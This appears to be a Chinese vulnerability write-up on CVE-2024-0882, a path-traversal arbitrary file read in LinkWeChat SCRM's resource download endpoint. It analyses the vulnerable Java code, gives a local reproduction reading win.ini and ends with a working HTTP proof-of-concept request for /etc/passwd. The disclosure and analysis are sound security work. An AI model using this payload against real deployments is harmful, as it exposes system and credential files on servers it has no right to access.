CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究

漏洞描述

LinkWeChat 是基于企业微信的开源 SCRM 系统,是企业私域流量管理与营销的综合解决方案。

LinkWeChat 基于企业微信开放能力,不仅集成了企微强大的后台管理及基础的客户管理功能,而且提供了多种渠道、多个方式连接微信客户。并通过客情维系、聊天增强等灵活高效的客户运营模块,让客户与企业之间建立强链接,从而进一步通过多元化的营销工具,帮助企业提高客户运营效率,强化营销能力,拓展盈利空间。

主要运用于电商、零售、教育、金融、政务等服务行业领域。​​​​​​

开发语言:Java官网地址:https://www.linkwechat.net/项目地址:https://github.com/qwdigital/LinkWechat-Scrm
漏洞后端代码

文件位于

linkwe-auth\src\main\java\com\linkwechat\web\controller\common\CommonController.java

这个控制器下存在一个resourceDownload方法

java 复制代码
/**
 * 本地资源通用下载
 */
@GetMapping("/common/download/resource")
public void resourceDownload(String name, HttpServletRequest request, HttpServletResponse response) throws Exception {
    // 本地资源路径
    String localPath = LinkWeChatConfig.getProfile();
    // 数据库资源地址
    String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
    // 下载名称
    String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
    response.setCharacterEncoding("utf-8");
    response.setContentType("multipart/form-data");
    response.setHeader("Content-Disposition",
            "attachment;fileName=" + FileUtils.setFileDownloadHeader(request, downloadName));
    FileUtils.writeBytes(downloadPath, response.getOutputStream());
}

String localPath = LinkWeChatConfig.getProfile();后得到一个本地目录,例如D:/linkWeChat/uploadPath

看看StringUtils.substringAfter 这个工具方法对我们的name值做了什么处理

注意传入的参数Constants.RESOURCE_PREFIX 是/profile

跟入StringUtils.substringAfter 方法

其要注意的是

else语句块代码用于从字符串 str 中获取分隔符 separator 后面的子字符串,就是说name值里面必须要有/profile

之后与localPath进行拼接 组成downloadPath,这里就可以尝试用../的方式进行拼接,具体怎么样,让我们往后看...

跟入StringUtils.substringAfterLast方法 得到downloadName 值

提取最后一个"/"出现的位置---pos

pos != -1成立与pos != str.length() - separator.length()成立 则会获取字符串str的第pos+1个字符到结尾的所有字符 返回赋值downloadName

之后执行FileUtils.setFileDownloadHeader 返回字符串,设置返回头,至此downloadName就没什么事了

我们重点分析FileUtils.writeBytes方法,

我们在new File的时候,如果filepath有../jdk底层会正确解析吗! 经过测试new File的确可以接受../的文件名可以正常被解析

漏洞本地漏洞复现

本次复现不同以往,此次使用本地代码运行验证改漏洞的存在

java 复制代码
public static void main(String[] args) throws IOException {
        String localPath = LinkWeChatConfig.getProfile();
        String filePath = "D:\\文档\\1.txt";
        OutputStream os = new FileOutputStream(new File(filePath));

        // 数据库资源地址
        String name = "/profile/../../../../../../../../../../windows/win.ini";
        String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
        // 下载名称
        String downloadName = StringUtils.substringAfterLast(downloadPath, "/");

        FileUtils.writeBytes(downloadPath, os);
/*        new SpringApplicationBuilder(LinkWeAuthApplication.class)
                .properties("spring.config.name:bootstrap", "config/run/bootstrap.yml")
                .properties("spring.application.name=linkwe-auth")
                .build().run(args);
        System.out.println("(♥◠‿◠)ノ゙  LinkWe-auth启动成功   ლ(´ڡ`ლ)゙ ");*/
    }

没有找到准备的test文件夹测试,索性直接注释掉启动代码,将resourceDownload方法内的代码搬过来。设置name值模拟用户输入

运行,如果不出意外,1.txt已经被写入win.ini的内容,与实际访问不同的是,服务器是以流的形式返回给用户

win.ini的确存在,漏洞验证成功。

附赠poc

GET /linkwechat-api/common/download/resource?name=/profile/../../../../../etc/passwd HTTP/1.1

Host:

Cookie: Admin-Token=[需要]

authorization: [需要]

后续修复

-----本次测试是LinkWechat-Scrm-5.1.0版本,漏洞作者验证这个版本漏洞存在。目前最新版没有对这个方法类做任何修改....但不确定name值在参数绑定前,过滤会怎么判断它......能否被利用需实际测试.......

相关推荐
我就是程序猿9 分钟前
tomcat的配置
java·tomcat
阳光阿盖尔15 分钟前
EasyExcel的基本使用——Java导入Excel数据
java·开发语言·excel
二十雨辰16 分钟前
[苍穹外卖]-12Apache POI入门与实战
java·spring boot·mybatis
程序员皮皮林16 分钟前
开源PDF工具 Apache PDFBox 认识及使用(知识点+案例)
java·pdf·开源·apache
蔚一17 分钟前
Java设计模式—面向对象设计原则(三) -----> 依赖倒转原则DIP(完整详解,附有代码+案例)
java·开发语言·设计模式·intellij-idea·依赖倒置原则
liang899922 分钟前
SpringSecurity原理解析(七):权限校验流程
java·开发语言
网安康sir31 分钟前
2024年三个月自学手册 网络安全(黑客技术)
网络·安全·web安全
搁浅°87931 分钟前
IO文件拷贝
java·开发语言
Python私教35 分钟前
Python国产新 ORM 框架 fastzdp_sqlmodel 快速入门教程
java·数据库·python
Python私教36 分钟前
Python ORM 框架 SQLModel 快速入门教程
android·java·python